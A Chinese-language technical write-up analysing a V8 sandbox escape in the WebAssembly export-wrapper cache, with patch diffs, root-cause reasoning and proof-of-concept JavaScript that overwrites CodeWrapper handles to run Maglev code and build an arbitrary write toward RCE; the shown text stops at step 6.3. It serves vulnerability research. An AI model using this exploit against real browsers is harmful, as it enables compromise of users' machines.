Chrome V8 WasmExportWrapperCache 沙箱堆逃逸漏洞利用分析
本文分析Chrome V8 WasmExportWrapperCache沙箱逃逸漏洞,通过篡改CodeWrapper将Wasm导出函数替换为Maglev代码,利用异常恢复栈错位控制rcx实现任意地址写并调用execvp完成RCE。
在做了两个cage内读写的漏洞,作者决定把目光转向v8沙箱堆逃逸(注:这里有一个混淆点,v8沙箱堆逃逸成功拿到的是渲染进程的rce而不是直接完成浏览器沙箱的逃逸,后者需要结合其它漏洞比如内核提权),但发现v8最近披露的CVE漏洞都是cage内读写,所以选择了这个刚修复不久(11月3日修复)还没合并入稳定版披露CVE的漏洞进行研究。本文记录了对该漏洞的根因分析、POC 构造、利用思路以及最终rce的完整实践过程
简介
受影响产品 | Google Chrome 及其他产品内置的 V8 JS 引擎 |
|---|---|
Bug ID | crbug-580519552 |
修复 commit |
|
补丁链接 | |
漏洞类型 | V8 sandbox escape(信任边界错误),非堆内存破坏 |
影响版本 | V8 15.6 / 15.7 / 15.8(截至 2026-11-13 的 release 分支均未 cherry-pick;15.9 起包含修复) |
背景
2.1 cage 内一律不可信
V8 sandbox 把 JS 可达的堆对象放在一个 4GB 的指针压缩 cage 里,所有引用都是 32 位偏移。安全模型只有一句话:
cage 内的内容全部默认可被攻击者读写
所以凡是"cage 内的数据决定 trusted 行为"的设计,都必须假设数据已被篡改。V8 的对策是把 Code 这类对象和它们的表放在攻击者够不到的区域(trusted space / 各种指针表),cage 里只留 handle
2.2 CodeWrapper:cage 内的 trusted handle 壳
Code 在 trusted space,cage 内的普通字段不能直接存它的指针,只能存 handle。为了让"沙箱内的数组/结构体也能引用 Code",V8 提供了一个 8 字节的壳:
// A CodeWrapper wraps a Code but lives inside the sandbox. This can be useful
// for example when a reference to a Code needs to be stored along other tagged
// pointers inside an array or similar container datastructure.
V8_OBJECT class CodeWrapper : public Struct {
V8_IT_NO_AUTO_DISPATCH;
public:
DECL_CODE_POINTER_ACCESSORS(code)
DECL_PRINTER(CodeWrapper)
DECL_VERIFIER(CodeWrapper)
class BodyDescriptor;
public:
TrustedPointerMember<Code, kCodeIndirectPointerTag> code_;
} V8_OBJECT_END;DECL_CODE_POINTER_ACCESSORS(code) 展开成 code(IsolateForSandbox) / set_code(...) / has_code() / clear_code()(src/objects/object-macros.h:818-819、:786-788),最终走 TrustedPointerField::ReadTrustedPointerField<kCodeIndirectPointerTag>。成员本身在 sandbox 构建里就是一个 32 位索引:
// src/objects/trusted-pointer.h:137-181
template <typename T, IndirectPointerTagRange kTagRange>
class TrustedPointerMember
#ifndef V8_ENABLE_SANDBOX
// On non-sandbox builds, TrustedPointerMember is just a TaggedMember with
// custom accessors, which allows it to be passed to Slots same as a
// TaggedMember.
: public TaggedMember<T>
#endif
{
public:
constexpr TrustedPointerMember() = default;
inline TrustedPointerMember(const AllocationWitness& witness,
Tagged<T> value);
inline TrustedPointerMember(const AllocationWitness& witness, Tagged<T> value,
WriteBarrierMode mode);
inline Tagged<T> load(IsolateForSandbox isolate) const;
inline Tagged<Object> load_maybe_empty(IsolateForSandbox isolate) const;
inline void store(HeapObject* host, Tagged<T> value,
WriteBarrierMode mode = UPDATE_WRITE_BARRIER);
inline void store_no_write_barrier(HeapObject* host, Tagged<T> value);
inline Tagged<T> Acquire_Load(IsolateForSandbox isolate) const;
inline Tagged<Object> Acquire_Load_maybe_empty(
IsolateForSandbox isolate) const;
inline void Release_Store(HeapObject* host, Tagged<T> value,
WriteBarrierMode mode = UPDATE_WRITE_BARRIER);
inline void Release_Store_no_write_barrier(HeapObject* host, Tagged<T> value);
inline bool is_empty() const;
inline bool is_unpublished(IsolateForSandbox isolate) const;
inline void clear(HeapObject* host);
private:
#ifdef V8_ENABLE_SANDBOX
friend class IndirectPointerSlot;
inline Address storage_address() const;
std::atomic<IndirectPointerHandle> handle_{kNullIndirectPointerHandle};
#else
using Base = TaggedMember<T>;
#endif
};
using CodePointerMember = TrustedPointerMember<Code, kCodeIndirectPointerTag>;// include/v8-internal.h:897-898
// An IndirectPointerHandle represents a 32-bit index into a pointer table.
using IndirectPointerHandle = uint32_t;Struct 自身不新增任何字段:
// src/objects/struct.h:20-35
// An abstract superclass, a marker class really, for simple structure classes.
// It doesn't carry any functionality but allows struct classes to be
// identified in the type system.
V8_OBJECT class Struct : public HeapObject {
V8_IT_ABSTRACT;
public:
using HeapObject::HeapObject;
void BriefPrintDetails(std::ostream& os);
using BodyDescriptor = StructBodyDescriptor;
} V8_OBJECT_END;
static_assert(sizeof(Struct) == sizeof(HeapObject));所以布局就是两个字:+0 = map,+4 = code_(4 字节 TrustedPointerHandle,实测 index << 9,tag 存在表项里)。CodeWrapper 在 cage 内,所以 +4 可被 in-cage 写改掉
2.3 wasm 导出函数与 wrapper 缓存
instance.exports.f 是一个 JSFunction,它的 Code 是一段 JS-to-Wasm wrapper:把 JS 调用约定转成 wasm 的参数寄存器布局,再跳到 wasm 函数体
wrapper 有两种:通用 builtin Builtin::kJSToWasmWrapper(任何签名都能用),以及按 canonical signature 专门编译的 CodeKind::JS_TO_WASM_FUNCTION。后者被 WasmExportWrapperCache 按 canonical sig index 缓存。这个缓存不是纯优化:一旦缓存里有条目,新建实例的导出函数会直接使用缓存里的 Code
2.4 JSDispatchTable
JSFunction 不存 Code 指针,只存一个 JSDispatchHandle。安装新代码时要过一道沙箱校验:
// src/sandbox/js-dispatch-table-inl.h:194-219
std::optional<JSDispatchHandle> JSDispatchTable::TryAllocateAndInitializeEntry(
Space* space, uint16_t parameter_count, Tagged<Code> new_code) {
DCHECK(space->BelongsTo(this));
// Disabled builtins should be replaced with the kIllegal by the caller.
// This DCHECK is just for convenience, next SBXCHECK(IsCompatibleCode())
// will catch disabled builtins anyway.
DCHECK(!new_code->is_disabled_builtin());
DCHECK_NE(new_code->instruction_start(), kNullAddress);
SBXCHECK(IsCompatibleCode(new_code, parameter_count));
#ifdef V8_ENABLE_GENERATED_CODE_VALIDATOR
CHECK(GeneratedCodeValidator::IsValidated(new_code));
#endif // V8_ENABLE_GENERATED_CODE_VALIDATOR
uint32_t index;
if (auto maybe_index = TryAllocateEntry(space)) {
index = *maybe_index;
} else {
return {};
}
JSDispatchEntry& entry = at(index);
CFIMetadataWriteScope write_scope("JSDispatchTable initialize");
entry.MakeJSDispatchEntry(new_code.address(), new_code->instruction_start(),
parameter_count, space->allocate_black());
return IndexToHandle(index);
}// src/sandbox/js-dispatch-table-inl.h:401-436
// LINT.IfChange(IsCompatibleCode)
// static
bool JSDispatchTable::IsCompatibleCode(Tagged<Code> code,
uint16_t parameter_count) {
if (code->entrypoint_tag() != kJSEntrypointTag) {
// Target code doesn't use JS linkage. This cannot be valid.
return false;
}
DCHECK_IMPLIES(code->is_builtin(),
Builtins::HasJSLinkage(code->builtin_id()));
if (code->parameter_count() == parameter_count) {
DCHECK_IMPLIES(code->is_builtin(),
parameter_count ==
Builtins::GetFormalParameterCount(code->builtin_id()));
// Dispatch entry and code have the same signature. This is correct.
return true;
}
// Signature mismatch. This is mostly not safe, except for certain varargs
// builtins which are able to correctly handle such a mismatch. Examples
// include builtins like the InterpreterEntryTrampoline or the JSToWasm and
// JSToJS wrappers which determine their actual parameter count at runtime
// (see CodeStubAssembler::SetSupportsDynamicParameterCount()), or internal
// builtins that end up tailcalling into other code such as CompileLazy.
//
// Currently, we also allow this for testing code (from our test suites).
// TODO(saelo): maybe we should also forbid this just to be sure.
if (code->kind() == CodeKind::FOR_TESTING_JS) {
return true;
}
DCHECK(code->is_builtin());
DCHECK_EQ(code->parameter_count(), kDontAdaptArgumentsSentinel);
return Builtins::IsJSTrampoline(code->builtin_id());
}
// LINT.ThenChange(/src/builtins/builtins-inl.h:IsCompatibleJSBuiltin)它只校验入口 tag 是 JS 入口、参数个数相等,不校验"这个 Code 是不是 wasm wrapper",至于这有什么用呢?后续会提到
逆向补丁
3.1 改动范围
src/heap/heap-inl.h | 3 +-
src/heap/heap.h | 2 +-
src/heap/setup-heap-internal.cc | 5 +-
src/roots/roots.h | 86 +++++++-------
src/runtime/runtime-wasm.cc | 9 +-
src/snapshot/snapshot.cc | 2 +-
src/wasm/canonical-types.cc | 3 +-
src/wasm/wasm-export-wrapper-cache.cc | 71 ++++++-----
src/wasm/wasm-export-wrapper-cache.h | 30 ++---
src/wasm/wasm-objects.cc | 7 +-
test/common/wasm/fuzzer-common.cc | 2 +-
test/mjsunit/mjsunit.status | 1 +
test/mjsunit/sandbox/regress/regress-580519552.js | 131 ++++++++++++++++++++++
test/unittests/objects/roots-unittest.cc | 1 -
test/unittests/wasm/run-wasm-wrappers-unittest.cc | 20 ++--
15 files changed, 258 insertions(+), 115 deletions(-)3.2 commit message

它把攻击路径说得很直白:实例化和 wrapper tier-up 两个时机,缓存条目会被装进 JSDispatchTable
3.3 关键 diff
修复前漏洞代码:
核心只有三处,都在src/wasm/wasm-export-wrapper-cache.cc :
// 15.7 pre-fix, cache.cc:14-33
DirectHandle<WeakFixedArray> WasmExportWrapperCache::New(Isolate* isolate,
uint32_t capacity) {
...
DirectHandle<WeakFixedArray> cache =
WeakFixedArray::New(isolate, capacity, AllocationType::kOld,
direct_handle(Smi::FromInt(kUnused), isolate));
...
}
void WasmExportWrapperCache::Put(Isolate* isolate, CanonicalTypeIndex sig_index,
DirectHandle<Code> code) {
Tagged<WeakFixedArray> cache = EnsureCapacity(isolate);
PutInternal<true>(cache, hash, code->wrapper()); // ← 存进 cage 内的 CodeWrapper
}
Tagged<CodeWrapper> WasmExportWrapperCache::Get(Isolate* isolate,
CanonicalTypeIndex sig_index) {
Tagged<WeakFixedArray> cache = isolate->heap()->js_to_wasm_wrappers();
...
return Cast<CodeWrapper>(value.GetHeapObjectAssumeWeak()); // ← 返回 cage 内对象
}消费端再把它解成 Code:
// wasm-objects.cc:1822-1836(GetWrapper)
Tagged<CodeWrapper> entry =
wasm::WasmExportWrapperCache::Get(isolate, sig->index());
if (!entry.is_null()) {
return direct_handle(entry->code(isolate), isolate); // ← 读 CodeWrapper+4
}// runtime-wasm.cc:504-509(tier-up)
Tagged<CodeWrapper> maybe_cached_wrapper =
wasm::WasmExportWrapperCache::Get(isolate, sig_id);
if (!maybe_cached_wrapper.is_null()) {
wrapper_code = maybe_cached_wrapper->code(isolate);
}其实旧代码的注释已经写出了错误的信任假设:"the cache itself is untrusted, but calls through the wrappers are protected by our regular signature verification scheme" ——签名校验只保证“签名一致”,不保证“CodeWrapper 里的 handle 没被改”
核心修复代码:
// origin/main, cache.cc:14-28
DirectHandle<ProtectedWeakFixedArray> WasmExportWrapperCache::New(
Isolate* isolate, uint32_t capacity) {
...
DirectHandle<ProtectedWeakFixedArray> cache =
ProtectedWeakFixedArray::New(isolate, capacity);
...
}// origin/main, cache.cc:31-37
void WasmExportWrapperCache::Put(Isolate* isolate, CanonicalTypeIndex sig_index,
DirectHandle<Code> code) {
DCHECK_EQ(code->kind(), CodeKind::JS_TO_WASM_FUNCTION);
Tagged<ProtectedWeakFixedArray> cache = EnsureCapacity(isolate);
PutInternal<true>(cache, hash, MakeWeak(*code)); // ← 直接存 Weak<Code>
}// origin/main, cache.cc:40-62
Tagged<Code> WasmExportWrapperCache::Get(Isolate* isolate,
CanonicalTypeIndex sig_index) {
Tagged<ProtectedWeakFixedArray> cache =
isolate->heap()->js_to_wasm_wrappers();
...
return TrustedCast<Code>(value.GetHeapObjectAssumeWeak()); // ← 直接返回 trusted Code
}一句话概括修复:
把缓存从“cage 内的WeakFixedArray<Weak<CodeWrapper>> ”改成“trusted space 的ProtectedWeakFixedArray<Weak<Code>> ”,并删掉CodeWrapper 这一层间接。
这样攻击者能改的只剩缓存里的弱引用本身(而且它在 trusted space);即使把弱引用改成别的对象,TrustedCast<Code> 也会在 trusted 侧校验类型,不再存在“cage 内的 4 字节决定执行哪段 Code”的路径
源码定位与调用链
4.1 缓存对象
js_to_wasm_wrappers 是 Heap 上的 root,初始值是空 WeakFixedArray:
// src/roots/roots.h:478-480
V(HeapObject, locals_block_list_cache, DebugLocalsBlockListCache) \
IF_WASM(V, WeakFixedArray, js_to_wasm_wrappers, JSToWasmWrappers) \
IF_WASM(V, WeakFixedArray, wasm_canonical_rtts, WasmCanonicalRtts) \// src/heap/setup-heap-internal.cc:1494-1498
#ifdef V8_ENABLE_WEBASSEMBLY
set_js_to_wasm_wrappers(roots.empty_weak_fixed_array());
set_wasm_canonical_rtts(roots.empty_weak_fixed_array());
set_wasm_shared_canonical_rtts(roots.empty_weak_fixed_array());
#endif // V8_ENABLE_WEBASSEMBLY布局:kReservedSlots = 1(第 0 槽存 used 计数),每项 kSlotsPerEntry = 2(key 是 Smi(hash),value 是 weak 引用),hash 直接等于 canonical sig index
4.2 写入路径
// src/wasm/function-compiler.cc:225-249
DirectHandle<Code> JSToWasmWrapperCompilationUnit::Finalize() {
#if V8_ENABLE_DRUMBRAKE
if (v8_flags.wasm_jitless) {
return isolate_->builtins()->code_handle(
Builtin::kJSToWasmInterpreterWrapper);
}
#endif // V8_ENABLE_DRUMBRAKE
CompilationJob::Status status = job_->FinalizeJob(isolate_);
CHECK_EQ(status, CompilationJob::SUCCEEDED);
OptimizedCompilationInfo* info =
static_cast<compiler::turboshaft::TurboshaftCompilationJob*>(job_.get())
->compilation_info();
DirectHandle<Code> code = info->code();
if (isolate_->IsLoggingCodeCreation()) {
DirectHandle<String> name = isolate_->factory()->NewStringFromAsciiChecked(
info->GetDebugName().get());
PROFILE(isolate_, CodeCreateEvent(LogEventListener::CodeTag::kStub,
Cast<AbstractCode>(code), name));
}
// Install the compiled wrapper in the cache now.
WasmExportWrapperCache::Put(isolate_, sig_->index(), code);
Counters* counters = isolate_->counters();
counters->wasm_generated_code_size()->Increment(code->body_size());
counters->wasm_reloc_size()->Increment(code->relocation_size());
counters->wasm_compiled_export_wrapper()->Increment(1);
return code;
}Put 存的是 code->wrapper(),即 Code 对应的 CodeWrapper
4.3 读取路径 A:实例化导出函数
// src/wasm/wasm-objects.cc:1709-1722
V8_INLINE DirectHandle<WasmExportedFunction> CreateExportedFunction(
Isolate* isolate, int function_index, DirectHandle<WasmFuncRef> func_ref,
DirectHandle<WasmInternalFunction> internal_function,
DirectHandle<WasmTrustedInstanceData> trusted_instance_data) {
DCHECK_EQ(func_ref->internal(isolate), *internal_function);
const wasm::CanonicalSig* sig = internal_function->sig();
DirectHandle<Code> wrapper_code =
WasmExportedFunction::GetWrapper(isolate, sig);
int arity = static_cast<int>(sig->parameter_count());
return WasmExportedFunction::New(isolate, trusted_instance_data, func_ref,
internal_function, arity, wrapper_code,
function_index, wasm::kNoPromise);
}// src/wasm/wasm-objects.cc:1822-1849
// static
DirectHandle<Code> WasmExportedFunction::GetWrapper(
Isolate* isolate, const wasm::CanonicalSig* sig) {
#if V8_ENABLE_DRUMBRAKE
if (v8_flags.wasm_jitless) {
return isolate->builtins()->code_handle(
Builtin::kJSToWasmInterpreterWrapper);
}
#endif // V8_ENABLE_DRUMBRAKE
Tagged<CodeWrapper> entry =
wasm::WasmExportWrapperCache::Get(isolate, sig->index());
if (!entry.is_null()) {
return direct_handle(entry->code(isolate), isolate);
}
if (wasm::CanUseGenericJsToWasmWrapper(sig)) {
if (v8_flags.stress_wasm_stack_switching) {
return isolate->builtins()->code_handle(Builtin::kWasmStressSwitch);
}
return isolate->builtins()->code_handle(Builtin::kJSToWasmWrapper);
}
// Otherwise compile a wrapper.
DirectHandle<Code> compiled =
wasm::JSToWasmWrapperCompilationUnit::CompileJSToWasmWrapper(isolate,
sig);
// This should have added an entry in the per-isolate cache.
DCHECK_EQ(compiled->wrapper(),
wasm::WasmExportWrapperCache::Get(isolate, sig->index()));
return compiled;
}关键就是 entry->code(isolate):缓存命中的是 CodeWrapper,真正被使用的 Code 从它的 +4 解出来
4.4 读取路径 B:tier-up
// src/runtime/runtime-wasm.cc:487-549
RUNTIME_FUNCTION(Runtime_TierUpJSToWasmWrapper) {
DCHECK_EQ(1, args.length());
// Avoid allocating a HandleScope and handles on the fast path.
Tagged<WasmExportedFunctionData> function_data =
SbxCast<WasmExportedFunctionData>(TrustedCast<TrustedObject>(args[0]));
Tagged<WasmTrustedInstanceData> trusted_data = function_data->instance_data();
const wasm::WasmModule* module = trusted_data->module();
const int function_index = function_data->function_index();
const wasm::WasmFunction& function = module->functions[function_index];
const wasm::CanonicalTypeIndex sig_id =
module->canonical_sig_id(function.sig_index);
const wasm::CanonicalSig* sig =
wasm::GetTypeCanonicalizer()->LookupFunctionSignature(sig_id);
Tagged<CodeWrapper> maybe_cached_wrapper =
wasm::WasmExportWrapperCache::Get(isolate, sig_id);
Tagged<Code> wrapper_code;
if (!maybe_cached_wrapper.is_null()) {
wrapper_code = maybe_cached_wrapper->code(isolate);
} else {
// Set the context on the isolate and open a handle scope for allocation of
// new objects. Wrap {trusted_data} in a handle so it survives GCs.
DCHECK(isolate->context().is_null());
isolate->set_context(trusted_data->native_context());
HandleScope scope(isolate);
DirectHandle<WasmTrustedInstanceData> trusted_data_handle{trusted_data,
isolate};
DirectHandle<Code> new_wrapper_code =
wasm::JSToWasmWrapperCompilationUnit::CompileJSToWasmWrapper(isolate,
sig);
// Compilation must have installed the wrapper into the cache.
DCHECK_EQ(new_wrapper_code->wrapper(),
wasm::WasmExportWrapperCache::Get(isolate, sig_id));
// Reset raw pointers still needed outside the slow path.
wrapper_code = *new_wrapper_code;
trusted_data = *trusted_data_handle;
function_data = {};
}
// Replace the wrapper for the function that triggered the tier-up.
// This is to ensure that the wrapper is replaced, even if the function
// is implicitly exported and is not part of the export_table.
ReplaceJSToWasmWrapper(isolate, trusted_data, function_index, wrapper_code);
// Iterate over all exports to replace eagerly the wrapper for all functions
// that share the signature of the function that tiered up.
for (wasm::WasmExport exp : module->export_table) {
if (exp.kind != wasm::kExternalFunction) continue;
int index = static_cast<int>(exp.index);
if (index == function_index) continue; // Already replaced.
const wasm::WasmFunction& exp_function = module->functions[index];
if (module->canonical_sig_id(exp_function.sig_index) != sig_id) {
continue; // Different signature.
}
ReplaceJSToWasmWrapper(isolate, trusted_data, index, wrapper_code);
}
return ReadOnlyRoots(isolate).undefined_value();
}// src/runtime/runtime-wasm.cc:472-485
void ReplaceJSToWasmWrapper(
Isolate* isolate, Tagged<WasmTrustedInstanceData> trusted_instance_data,
int function_index, Tagged<Code> wrapper_code) {
Tagged<WasmFuncRef> func_ref;
// Always expect a func_ref. If this fails, we are maybe compiling a wrapper
// for the start function. This function is only called once, so this should
// not happen.
CHECK(trusted_instance_data->try_get_func_ref(function_index, &func_ref));
Tagged<JSFunction> external_function;
CHECK(func_ref->internal(isolate)->try_get_external(&external_function));
CHECK(external_function->shared()->HasWasmExportedFunctionData(isolate));
external_function->UpdateCode(isolate, wrapper_code);
}这条路径同样把 CodeWrapper 里的 handle 当结果用;区别是它最终走 ReplaceJSToWasmWrapper → JSFunction::UpdateCode
4.5 调用链
编译:JSToWasmWrapperCompilationUnit::Finalize() function-compiler.cc:225
→ WasmExportWrapperCache::Put() wasm-export-wrapper-cache.cc:28
→ cache[idx+1] = MakeWeak(code->wrapper()) :135
实例化:CreateExportedFunction() wasm-objects.cc:1709
→ WasmExportedFunction::GetWrapper() wasm-objects.cc:1822
→ WasmExportWrapperCache::Get() wasm-export-wrapper-cache.cc:36
→ entry->code(isolate) wasm-objects.cc:1831
→ WasmExportedFunction::New() wasm-objects.cc:2884
→ JSFunctionBuilder::Build() factory.cc:5424
→ JSDispatchTable::TryAllocateAndInitializeEntry()
→ SBXCHECK(IsCompatibleCode(new_code, parameter_count))
调用:bad(obj) → JSDispatchTable entry → code->instruction_start根因分析
5.1 信任边界画错了
攻击者只需要在 cage 内找一个 CodeWrapper,把 +4 改成任意 Code 的 handle,就能让下一次 GetWrapper() 返回任意 Code。从"沙箱内 4 字节写"到"决定宿主执行哪段代码"之间,没有任何一道校验
5.2 为什么"签名校验"挡不住
pre-fix 注释把安全寄托在 calls through the wrappers 上。实测那套机制是调用点的签名 hash 比较:
cmpq $0x8000001, 0x8(%r10,%rbx,1) ; callee WCPT 条目 +8 的 signature_hash
je ok
int3; ud2
call *(%r10,%rbx)它保护的是"wrapper 调用 wasm callee"这一步。而该漏洞篡改的是"JSFunction 拿到哪段 Code",也就是说签名校验保证"调用目标签名一致",不保证"这个 Code 是合法的 wrapper"
5.3 触发条件
条件 | 原因 |
|---|---|
目标签名必须产生专用 wrapper | 通用 |
触发 tier-up 或已有缓存条目 |
|
替换后要新建实例(或触发 tier-up) |
|
替换的 Code 必须 |
|
参数个数必须等于 |
|
5.4 数据流
步骤 | 数据 | 位置 | 谁可写 |
|---|---|---|---|
缓存槽 |
| cage 内 | 攻击者 |
间接层 |
| cage 内 | 攻击者 |
解析 |
| trusted space | 引擎 |
安装 |
| trusted 区 | 引擎(只验 tag/参数数) |
执行 |
| code range | 引擎 |
5.5 官方回归测试
修复 commit 自带 test/mjsunit/sandbox/regress/regress-580519552.js(131 行),测试本身做五件事:(i32)->i32 导出 tier-up 填缓存 → %OptimizeMaglevOnNextCall 编译 maglev_fn 并从 Map::dependent_code 拿到它的 CodeWrapper → %DeoptimizeFunction → 扫描两个 page 把同 map 的 CodeWrapper.+4 改成 Maglev handle → 新建实例并 bad_f(throwing_obj)
5.6 修复的充分性与遗留
ProtectedWeakFixedArray 在 trusted space,元素是 ProtectedTaggedMember,in-cage 写够不到缓存本身,也够不到元素里的 Code 引用;同时去掉 CodeWrapper 间接层,"缓存 → Code"整条链都在 trusted 侧。这是结构性隔离,不需要在每条调用路径上加校验
没解决的是:CodeWrapper 仍然存在,仍被 Map::dependent_code 等 cage 内结构引用。本 PoC 正是从 dependent_code 读出 Maglev 的 handle 用来定位——"cage 内对象 + trusted handle"这种组合只要还出现在别处,就还是同一类攻击面
环境搭建
复现环境:d8(version:15.7.0)
环境附件:exploit(仅利用程序,运行环境共用CVE-2026-126910这篇文章的,ps:作者亲测该漏洞结合CVE-2026-126910能组成完整利用链,最终在关闭浏览器沙箱的chrome 157.0.8079.0这个版本的浏览器实现访问网页弹出计算器这一经典演示操作,不过由于后续利用链的原因需要带flags去启动chrome,尚未实现跑默认配置的情况下完成利用,感兴趣的师傅可以自行研究)
复现流程: d8直接执行利用程序即可实现RCE

利用分析
--sandbox-testing 提供 cage 内任意读写和 getBuiltinCode,替代真实攻击里的 in-cage 读写漏洞;--wasm-wrapper-tiering-budget=1 让首次调用就填缓存;--maglev-inline-api-calls 放行 422951610 的异常恢复路径
6.1 第一步:构造 writer,再把导出函数换成它
先构造后面要执行的 Maglev writer 和样本对象。PoC 里 writer 的源码是按目标常量拼字符串生成的;展开成本次运行(d=0)就是下面这段:
function dblFromBits(bits) {
const b = new BigUint64Array([BigInt(bits)]);
return new Float64Array(b.buffer)[0];
}
// 把宿主地址放进全局 double 的 bits;LANDING 是 gLandingPad 的地址(见 6.5)
let target_float = dblFromBits(LANDING - 0xBn);
function makeObj(valueOf) {
return {
f1: 0.0, f2: 2.2, f3: 3.3, f4: 4.4, f5: 5.5,
f6: 6.6, f7: 7.7, f8: 8.8, f9: 9.9, f10: 10.1,
f11: 11.2, f12: 12.3, f13: 13.4, f14: 14.5, f15: 15.6,
u1: 0,
target_obj: {s0: 1, s1: 1, s2: 1, s3: 1, s4: 1,
s5: 1, s6: 1, s7: 1, s8: 1, s9: 1,
s10: 1, s11: 1, s12: 1, s13: 1, s14: 1},
valueOf
};
}
// 15 个 double 局部变量撑出 0x78;两个 store 是本次运行要写的 dword
function maglev_fn(obj) {
let v1 = obj.f1 + target_float, v2 = obj.f2 + 2.2, v3 = obj.f3 + 3.3,
v4 = obj.f4 + 4.4, v5 = obj.f5 + 5.5, v6 = obj.f6 + 6.6,
v7 = obj.f7 + 7.7, v8 = obj.f8 + 8.8, v9 = obj.f9 + 9.9,
v10 = obj.f10 + 10.1, v11 = obj.f11 + 11.2, v12 = obj.f12 + 12.3,
v13 = obj.f13 + 13.4, v14 = obj.f14 + 14.5, v15 = obj.f15 + 15.6;
let t = obj.target_obj;
try {
let num = +obj;
t.s0 = 0x42ACC740 >> 1; // Smi 编码后即 0x42ACC740
t.s4 = 0x00687300 >> 1; // "sh\0\0"
return v1+v2+v3+v4+v5+v6+v7+v8+v9+v10+v11+v12+v13+v14+v15+num;
} catch (err) { return 0; }
}
const sample_obj = makeObj(() => 1.5);
%PrepareFunctionForOptimization(maglev_fn);
maglev_fn(sample_obj);
%OptimizeMaglevOnNextCall(maglev_fn);
maglev_fn(sample_obj);再换 Code,官方回归测试已经把这一段写好了:(i32)->i32 导出先 tier-up 填缓存,再从 Map::dependent_code 取出 maglev_fn 的 CodeWrapper,扫两个 page 把同 map 的 CodeWrapper.+4 改成它的 handle:
const builder = new WasmModuleBuilder();
builder.addFunction('f', kSig_i_i).exportFunc().addBody([kExprLocalGet, 0]);
const module = builder.toModule();
const inst1 = new WebAssembly.Instance(module);
inst1.exports.f(42); // 首次调用,tier-up 填缓存
const mem = new DataView(new Sandbox.MemoryView(0, 0x100000000));
const kMapDependentCodeOffset = 28;
const kWeakArrayListDataOffset = 12;
const kCodeWrapperCodeOffset = 4;
const kSfiOffset = Sandbox.getFieldOffset(
Sandbox.getInstanceTypeIdFor('JS_FUNCTION_TYPE'), 'shared_function_info');
const fSfi = mem.getUint32(
Sandbox.getAddressOf(inst1.exports.f) + kSfiOffset, true) & ~3;
const sample_map = mem.getUint32(Sandbox.getAddressOf(sample_obj), true) & ~3;
const dep_code = mem.getUint32(sample_map + kMapDependentCodeOffset, true) & ~3;
if (!dep_code) throw new Error('no dep code');
const dep_len = mem.getUint32(dep_code + 8, true) >>> 1;
if (dep_len !== 1) throw new Error('dep len=' + dep_len);
const maglev_wrapper = mem.getUint32(dep_code + kWeakArrayListDataOffset, true) & ~3;
const code_wrapper_map = mem.getUint32(maglev_wrapper, true);
const maglev_code_handle = mem.getUint32(maglev_wrapper + kCodeWrapperCodeOffset, true);
if (!maglev_code_handle) throw new Error('bad handle');
%DeoptimizeFunction(maglev_fn);
let patched = 0;
for (const page of new Set([fSfi & ~0x3ffff, maglev_wrapper & ~0x3ffff])) {
for (let a = page; a < page + 0x40000 - 8; a += 4) {
if (mem.getUint32(a, true) === code_wrapper_map) {
mem.setUint32(a + kCodeWrapperCodeOffset, maglev_code_handle, true);
patched++;
}
}
}
print('[5] handle=0x' + maglev_code_handle.toString(16) + ' patched=' + patched);之后新建实例,它的导出函数就是 bad_f,Code 已经是 maglev_fn;调用时传一个 valueOf 会抛异常的对象进去。这一步证明两件事:导出函数确实走了缓存,且 CodeWrapper.+4 被采用;只换 Code 还不够——崩溃点在 Maglev 的写指令,不是"调用即崩"
6.2 第二步:为什么必须是"已标记 + 抛异常"
%DeoptimizeFunction 会调用 Code::SetMarkedForDeoptimization:先置标记,再把函数自己的 dispatch entry 换成 CompileLazy(开 reopt_after_lazy_deopts 时换成 InterpreterEntryTrampoline),清掉 handle,最后按需 zap:
// src/objects/code.cc:176-235
void Code::SetMarkedForDeoptimization(Isolate* isolate,
LazyDeoptimizeReason reason) {
......
JSDispatchHandle handle = js_dispatch_handle();
if (handle != kNullJSDispatchHandle) {
JSDispatchTable& jdt = isolate->js_dispatch_table();
Tagged<Code> cur = jdt.GetCode(handle);
if (Tagged{this}.SafeEquals(cur)) {
......
jdt.SetCodeNoWriteBarrier(handle, *BUILTIN_CODE(isolate, CompileLazy),
isolate);
}
// Ensure we don't try to patch the entry multiple times.
set_js_dispatch_handle(kNullJSDispatchHandle);
}
Tagged<ProtectedFixedArray> tmp = deoptimization_data();
// TODO(422951610): Zapping code discovered a bug in
// --maglev-inline-api-calls. Remove the flag check here once the bug is
// fixed.
if (tmp->ulength().value() > 0 && !v8_flags.maglev_inline_api_calls) {
Address start = instruction_start();
Address end = start + deoptimization_data()->DeoptExitStart().value();
RelocIterator it(instruction_stream(), RelocIterator::kAllModesMask);
Deoptimizer::ZapCode(start, end, it);
}
}从这一刻起 maglev_fn 再也进不到这段代码,但 CodeWrapper.code_ 仍指着它(实测标记前后 handle 不变)——580519552 提供的第二个入口(新建导出函数的 JSDispatchTable 安装路径)不受这个 handle 影响。Zap 是 635b5186cc9 加的兜底:flag 关着时,标记瞬间把 [instruction_start, +DeoptExitStart) 填 int3,只有 开启--maglev-inline-api-calls 这个flag才会豁免
maglev_fn 的 try 里只有 +obj 会抛异常,Handler Table 只有一条:
Handler Table (size = 1)
offset handler
3d6 -> fffffff0xFFFFFFF 是 HandlerTable::kLazyDeopt。已标记OptimizedJSFrame::LookupExceptionHandlerInTable 跳过"标记 + deopt",直接把 kLazyDeopt 返回:
// src/execution/frames.cc:3352-3385
int OptimizedJSFrame::LookupExceptionHandlerInTable(
......
if (!code->marked_for_deoptimization()) {
int optimized_exception_handler = table.LookupReturn(pc_offset);
if (optimized_exception_handler != HandlerTable::kLazyDeopt) {
return optimized_exception_handler;
}
Deoptimizer::DeoptimizeFunction(
function(), LazyDeoptimizeReason::kExceptionCaught, code);
}
DCHECK(code->marked_for_deoptimization());
pc_offset = FindReturnPCForTrampoline(code, pc_offset);
......
}然后 Isolate::UnwindAndFindHandler 的 MAGLEV 分支把 handler 设成原始返回地址,并按整帧算 SP:
// src/execution/isolate.cc:3176-3204
Tagged<Object> Isolate::UnwindAndFindHandler() {
......
if (CodeKindCanDeoptimize(code->kind()) &&
code->marked_for_deoptimization()) {
// 返回原始返回地址,并记下"正在抛异常",交给 deoptimizer
offset = static_cast<int>(frame->pc() - code->instruction_start());
set_deoptimizer_lazy_throw(true);
}
......
Address return_sp = frame->fp() +
StandardFrameConstants::kFixedFrameSizeAboveFp -
code->stack_slots() * kSystemPointerSize;
......
}6.3 第三步:0x78 错位 → 受控 rcx
